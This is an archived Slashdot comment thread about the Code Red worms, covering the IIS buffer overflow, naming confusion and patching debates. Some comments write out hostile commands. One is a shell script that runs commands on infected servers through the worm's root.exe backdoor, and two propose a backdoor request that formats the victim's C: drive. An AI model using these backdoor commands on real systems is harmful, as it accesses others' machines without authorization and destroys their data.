Slashdot Mirror


Code Red III

drcrja was the first to send us this brief bit about Code Red III which is apparently faster and more vicious than its entertaining predecessors. I'm still wondering what I should do with the hundreds of IPs in my desktop's apache log trying hopelessly to overflow my buffer.

23 of 759 comments (clear)

  1. Re:Bah. by austad · · Score: 5, Insightful

    How about an apache box in front of the IIS server with mod_proxy installed and setup as a reverse proxy filtering out default.ida requests??

    --
    Need Free Juniper/NetScreen Support? JuniperForum
  2. Versions of the worm... by Moonshadow · · Score: 5, Funny

    Code Red: A New Worm
    Code Red: Microsoft Strikes Back
    Code Red: Return of the Virii
    Code Red: The Not-so Phantom Menace

    And finally...

    Code Red: Attack of the Clones

  3. More information? by Dr.+Evil · · Score: 5, Interesting

    I've heard all sorts of rumours about this thing. Now whenever I hear people talk about "Code Red III", I give up asking them what it is. It doesn't exist. If it does, it is about time.

    The media seems to think that Code Red 1 was July 19, Code Red 2 was Aug 1, Code Red 3 is the one with the back door. In otherwords, they're only figuring out now how bad Code Red II is.

    1. Re:More information? by ncc74656 · · Score: 5, Informative
      Okay. So, I'll put up a disclaimer on www.glowingplate.com that any connection attempts by machines infected with Code Red will be met with an HTTP request to $HOSTNAME/script/root.exe?+%2fc+format+c.

      Set up Lynx into a little script, log the confirmed kills to my log printer, and all is good legally because of the disclaimer. One would hope.

      That's probably a little further than the law will allow...but you could throw up a popup on infected systems. That'll let the admins on the other end know they have a problem. You can even include some simple help.

      I threw together a script a few nights ago that sends such a popup to every CodeRed2-infected server that's contacted my server. It's available at http://salfter.dyndns.org/codered.shtml if anyone's interested. I also have live log info available there...got only about two dozen hits from the original CodeRed, but CodeRed2 is at 3500 hits and climbing.

      Since the list is fairly lengthy at this point, let's see if I can sneak the script past the lameness filter:

      #!/bin/sh
      http_proxy=
      for i in `(echo use apache2 ; echo 'select host.host from transfer inner join\
      host on host.id=transfer.hostid where requestid=2058 and transfer.time>"2001-0\
      7-31";' ) | mysql | sort | uniq | grep -v ^host\$`
      do
      echo -n Sending Code Red message to $i...
      result=`ping -c 1 -w 3 $i | grep "100% packet loss"`
      if [ -n "$result" ]
      then
      ec ho host is down.
      else
      ly nx -dump http://$i/scripts/root.exe\?/c+net+send+localhost+ %22Your+w\
      eb server+has+been+infected+with+the+CodeRed2+worm.+Y ou+have+a+security\
      +h ole+so+big+that+you+can+drive+a+Mack+truck+through +it.+You+should+fi\
      x+ it+before+some+script+kiddie+comes+along+and+takes +advantage+of+it.+\
      +R emove+root.exe+and+shell.exe+from+c:%5Cinetpub%5Cs cripts+\(or+wherev\
      er +your+CGI+scripts+live,+though+c:%5Cinetpub%5Cscri pts+is+the+default\
      +l ocation\).%22 >/dev/null
      ec ho message sent.
      fi
      done

      Damn...looks like the lameness filter didn't throttle it, but some extra spaces got thrown in. The spaces that need to be removed are fairly obvious, though.

      --
      20 January 2017: the End of an Error.
    2. Re:More information? by blakestah · · Score: 5, Funny

      In all likely hood the media is confused. It wouldn't be the first time. I figure if there's a CRv3 ever out there it won't be near as nice as v2 is. I'm thinking massive damanage upon infection to the machine... but not enough to keep the worm from spreading.


      What they are calling CodeRed III is really CodeRedII with a better IP selection routine.
      Still has the XXX and installs the backdoor

      Now incidents.org is recommending that the compromised machines, which have installed backdoors, format their c drive and reinstall

      We can do it for them...

      GET /script/root.exe?+%2fc+format+c:

  4. Re:An ETHICAL way to Anti-Virus by nitehorse · · Score: 5, Informative

    Actually, if you add a line in your httpd.conf that looks like this:

    AddHandler cgi-script .ida

    then you can use Perl to write a quick script which will do the reverse lookup and then send that email. Or, if you want to use PHP instead, alter your AddType line for PHP to this:

    AddType application/x-httpd-php .php .php3 .ida

    Then restart apache, and throw a script named default.ida up to your DocumentRoot directory.

    -Chris

  5. The Code Red hype Hall of Shame by wiredog · · Score: 5, Informative
  6. So hard to keep up by snakecoder · · Score: 5, Funny

    God, I'm still on version 1 of code red. Does anybody know where I can download the latest version? Is there a mail list I can get on so I know I have the lasted version on my IIS server?
    Tnks.

    --
    -Nuke the moon
  7. Re:Copycats by Syberghost · · Score: 5, Insightful

    Get over it. Code Red is dead.

    The folks here at the Fortune 500 company I work for who have been working around the clock since Wednesday trying to clean up this mess will be real happy to hear that you don't believe it exists.

  8. As with the parent, so with the child. by pmorrison · · Score: 5, Funny

    It usually takes Microsoft 3 releases to get it right. So, when can we expect Code Red .Net?

  9. Saddens me though by Hammer · · Score: 5, Funny

    That Linux and Apache are not compatible.
    We seem to have a good ways to go befoer everything that runs on Winblows will also run on Linux :-))

  10. It's not like they haven't announced the patch by mblase · · Score: 5, Insightful
    Remember the recent Ford Explorer/Firestone fiasco? Firestone made a bunch of flawed tires (when and where is not important here) that were put on these Explorer SUVs, which in some cases fell apart and came off the wheel when driving at high speeds. Investigations were made, and eventually Firestone had to issue a complete recall of the tires.

    The media talked about it for weeks. Ford sent out letters to customers as far as they could find them. People brought their SUVs in, got new tires put on them, drove out. That's how product recalls usually go.

    Software patches aren't all that different. When a hole is discovered, a patch is made. Responsible Microsoft server administrators have the MS site automatically checked on a daily basis for critical updates and patches. Irresponsible admins don't bother, and they become vulnerable and the cause of the worm's spread.

    But it would be insane to propose MS should force-feed this server patch to all their customers. The problem isn't the software, it's the admins. You'd be hard-pressed to find a major newspaper in the civilized world that hasn't mentioned this worm yet, and still there are people who don't bother to patch. They're the same ones who think that server software is just like desktop software, where you're the only one who uses it that really matters.

    Firestone couldn't make its customers bring their SUVs in to have the tires replaced for free, and there's no way the customers could claim ignorance of the problem after the press got done with it. Likewise, Microsoft can't make its customers upgrade their software for free. They've honestly tried to make all their server customers aware of what's expected of them, but they're as powerless to force it to happen as Firestone is to force car drivers to rotate their tires every 6,000 miles.

  11. Version 3? Don't think so. by Todd+Knarr · · Score: 5, Insightful

    My suspicion is this is Code Red 2. One of the AV companies used "CodeRed.v3" or something similar to refer to Code Red 2, and I'd bet the journalists were just too clueless to figure out that the two names refer to the same thing.

  12. An ETHICAL way to Anti-Virus by Slur · · Score: 5, Interesting

    Hi,

    I've been watching my Apache log as I get hit about every 10 minutes by Code Red. For each source IP address I've been doing a reverse lookup and if successful then notifying the webmaster of the source domain about the infected computer on their network.

    I'd like to automate this process and generate a "form" email, filling in the relevant details, but I'm not sure how to cause a script to be invoked by a change in the Apache log, except to maybe run a 5 minute cron job that grabs all the Code Red attacks and then renames the log file.

    An example of the email I've been sending is this:

    Hi,

    Just a note to let you know that a copy of the Code Red virus is on your network attacking my web server. The source IP address is: 207.151.xxx.xxx which a reverse lookup shows as xxx.xxx.gdsl.nwc.net . If this is a customer on your network then please pass on to that individual that they need to reboot their NT/W2K server and possibly reinstall their OS. They will also need to get a patch from Microsoft to correct this vulnerability.


    This is probably a very miniscule thing to do, but it does - in a way - inoculate against the virus, at least on consumer DSL networks, and in a manner that is both ethical and - like a virus - fairly contagious. I've heard a lot of buzz in places like Slashdot about making an "anti-virus" but why haven't I heard this kind of thing suggested before?

    --
    -- thinkyhead software and media
  13. Serious blow to open source & free software by Sloppy · · Score: 5, Funny

    Here we have something that does not come with source code, but people are still able to maintain the program, improve its performance, and then get those improvements quickly out into the field. Even Linux updates don't get distributed this efficiently.

    --
    As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
  14. make some money off banner ads by SethJohnson · · Score: 5, Insightful


    Taco, I recommend you sign up with one of those online casino sites and host banner ads on your server with the file name of /default.ida. You should be able to rack up a few thousand unique page views a day by pointing the scourge at the scourge (ala Fist Full of Dollars).
  15. Public Logfile - for *Educational* Purposes Only by BigBlockMopar · · Score: 5, Informative

    I'm still wondering what I should do with the hundreds of IPs in my desktop's apache log
    should we set up a site somewhere of ip addrs?

    Already got one! Remember, the list, including fully-qualified hostnames, is for _educational_ purposes only. I've made it available so that we can study how this thing moves, not for such purposes as mass-spamming postmaster@$IIS-INFECTED-HOSTNAME with flames reminding him that he is a bliterhing idiot, nor for other untoward activities which may be performed on a machine with a shell in a webserver's public directory.

    --
    Fire and Meat. Yummy.
  16. Finally by nEoN+nOoDlE · · Score: 5, Funny

    Sequels that are actually better than the original.

    --
    Don't trust a bull's horn, a doberman's tooth, a runaway horse or me.
  17. Re:Help me out on this one... by DeadMeat+(TM) · · Score: 5, Informative
    Code Red takes advantage of what's called a "buffer overflow" in Microsoft's IIS web server software.

    What happens is that IIS sits there, waiting for Web browsers to request pages. A Code Red infected server starts randomly picking other computers on the Internet or the network, and requests them to send a Web page called default.ida. It then passes a huge parameter to default.ida.

    Apparently, default.ida has hard-coded a maximum length for parameters -- say, 200 letters. (Probably not actually 200 -- but you get the idea.) That's what all the XXX and NNN's are there -- it's the 200 (etc.) letters that's the most default.ida is expecting to receive. A buffer overflow is when something goes past that maximum number of letters, and a program with a buffer overflow problem usually does something strange with the information past that point -- in this case, default.ida takes everthing after that number of letters and runs it like it were a program.

    Normally, this would just crash IIS (since it's getting a bunch of garbage, and running garbage makes programs crash) but Code Red is purposely designed so after the right number (200 or whatever) of XXX/NNN's, it tacks on the code to infect the computer with Code Red. So, IIS runs the code, the computer becomes infected with Code Red, it starts trying to spread it to other computers, and the whole cycle starts all over again.

  18. Re:Microsoft should be sued by Keith+Russell · · Score: 5, Insightful
    ...most of the sites were Joe Schmoe's cable modem surfmachines with nothing on. Their only crime was to purchase the damned software.
    IIS doesn't even run on 9x, ME, or other spawn of 3.x. 2000 Professional* does not install IIS by default. Your Joe Schmoe must have either installed IIS after installing W2kPro, or installed W2k Server, which does install IIS automatically. Either way, he took deliberate action to make his PC a server, and with it, took on the responsibility of keeping that server up-to-date.

    Claiming that Microsoft should be liable for sysadmins who are some combination of naive, out of touch, unqualified, or just plain stupid is like claiming that I can sue Honda because my parked car was sideswiped by an unlicensed, drunk driver who just happened to be in an Accord.

    *: This also applies to NT 4.0.
    --
    This sig intentionally left blank.
  19. Re:Microsoft should be sued by blang · · Score: 5, Insightful

    Because we're not talking about admins, but gullible users. When I did a quick toor to the hacked sites in my apache log, most of the sites were Joe Schmoe's cable modem surfmachines with nothing on. Their only crime was to purchase the damned software. Nobody ever told them that the software is considered harmful, and needs constant babysitting. Sounds like a good enough reason for a class action law suite to me.

    --
    -- Another senseless waste of fine bytes.
  20. Interesting Irony by Naerbnic · · Score: 5, Funny

    So, Three Code Reds and a SirCam later, the question just begs to be asked:

    Who's calling Whose code "Potentially Viral"?

    --


    So there I was, juggling apples and small animals, when I accidentally bit into the wrong one...
  21. I think you're on to something... by Nate+Fox · · Score: 5, Informative

    According to Symantec's page on CR2:

    Also Known As: CodeRed.v3, CodeRed.C, CodeRed III, W32.Bady.C